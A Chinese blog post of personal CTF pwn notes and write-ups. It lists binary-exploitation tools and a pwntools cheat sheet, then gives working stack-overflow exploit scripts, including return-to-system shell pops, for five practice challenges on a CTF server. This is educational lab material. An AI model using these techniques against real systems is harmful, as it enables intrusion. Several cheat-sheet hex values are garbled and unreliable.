CTF PWN 个人笔记

看似個人筆記,實則Writeup,筆記在上面

如果有哪里错误或遗漏请补充,我会第一时间在博客上修改

0x001 About Note

参考 视频1 视频2 视频3 视频4等等所编写,如果有冲突属于正常现象。

0x002 Pwn Basic

Binary Exploitation

  • 利用一支 Binary 的漏洞来达到控制程式的流程
  • 目的在于获得程式的控制权

Basic Tools

  • objdump
  • readelf
  • IDA Pro
  • GDB+PEDA(Python Exploit Development For BDB)
  • Pwntools
# Pwntools Payload
from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('IP','Port')
r.send(asm(shellcraft.sh()))
r.interactive()
# Pwntools Payload Example2
p64(int) OxfacebOOc => '\xec\xbe\xce\xfa\xOO\xOe\xeO\xOO'
u64(str) '\xOc\xbO\xce\xfa\xOO\xOO\xOO\xOO' => 0xfceb00c
p32(int) OxfacebOOc => '\xOc\xbO\xce\xfa'
u32(str) '\xOc\xbO\xce\xfa' => 0xfaceb99c
remote(host,port) / process(path)
.recv(int) 7 => Gift! => 'Hello w'
.recvuntil(str) 'or' => Gift! => 'Hello wor'
.recvline() === .recvuntil('\n')
.send(str) 'payload' => 'payload'
.sendline(str) 'payload' => 'payload\n'
.interactive()
Funking

小试身手 0x01 NUAACTF - hello_pwn

尝试连接,无果,下载源码,拖入IDA进行伪代码审计

源码打开分析一波,发现当dword = 1853186401的时候

FLAG就出现了

把unk和dword偏移4位

开始构造exp

from pwn import *
r = remote('111.198.29.45','40450')
exp = 'a' * 4 + b'aaun\x00\x00\x00\x00'
r.recvuntil("lets get helloworld for bof")
r.sendline(exp)
print r.recv()
#p32/p64 打包 u32/u64jie'bao解包

草,kali环境炸了只能手动打包

0x02 XMan level0

连接,返回Helloworld,下载文件拖入IDA

伪代码看了下,发现了栈区溢出

继续找函数

在callsystem发现了 return system("/bin/sh")这是要让我们覆盖它???

把起始位置记下来开始撰写exp

from pwn import *
r = remote("111.198.29.45","42361")
callsystem = 0x400596
exp = 0x80 * "A"
exp += '\x00\x00\x00\x00\x00\x00\x00\x00'
exp += '\x96\x05@\x00\x00\x00\x00\x00'
r.sendline(exp)
r.interactive()

表示写完代码之后连上去一脸懵逼,结果ls发现已经拿到了shell,萌新操作 :yinxian: 实在是...

0x03 XMan level2

Luker~

x86程序,试了很久之后发现开启了NX

回到IDA发现esp只允许0x88而返回的数据大于0x100,这是一道溢出题

Payload组成我参考Writeup所以本题不算自己做的,要诚实 :ku:

from pwn import *
r = remote('111.198.29.45','32982')
exp = 0x8c * 'a'
exp += ' \x83\x04\x08' #0x8048320
exp += '\x00\x00\x00\x00'
exp += '$\xa0\x04\x08' #0x804A024
r.send(exp)
r.interactive()

要注意运行顺序,由于我kali环境有问题所以配置不了p32()函数

0x04 backdoorctf-2015 forgot

连上去之后说要给我个指针,结果被羞辱了一波(滑稽)

分析下程序,连接之后有俩个输入点,其中第一处有返回

拖入IDA,发现有个地方可以进行栈溢出

EXP

from pwn import *
r = remote('111.198.29.45','58887')
r.recv()
r.sendline("IceCliffs")
r.recv()
exp="A"*32
exp+= '\xcc\x86\x04\x08'
r.sendline(exp)
r.interactive()

0x05 CGCTF when_did_you_born

倆個輸入點,分析程序,64位,IDA開 :zhenbang:

第一次輸入年齡不可以為1926,但後面又顯示了如果要拿到FLAG必須=1926,所以我們衹要覆蓋v5就行了

from pwn import *
r = remote('111.198.29.45','39011')
p = '\x86\x07\x00\x00\x00\x00\x00\x00'
r.recvuntil("?")
r.sendline("Ice")
r.recvuntil("Name?")
exp = 'A' * 8 + p
r.sendline(exp)
r.interactive()

点赞

发表评论

电子邮件地址不会被公开,只有你知道( ̄▽ ̄)"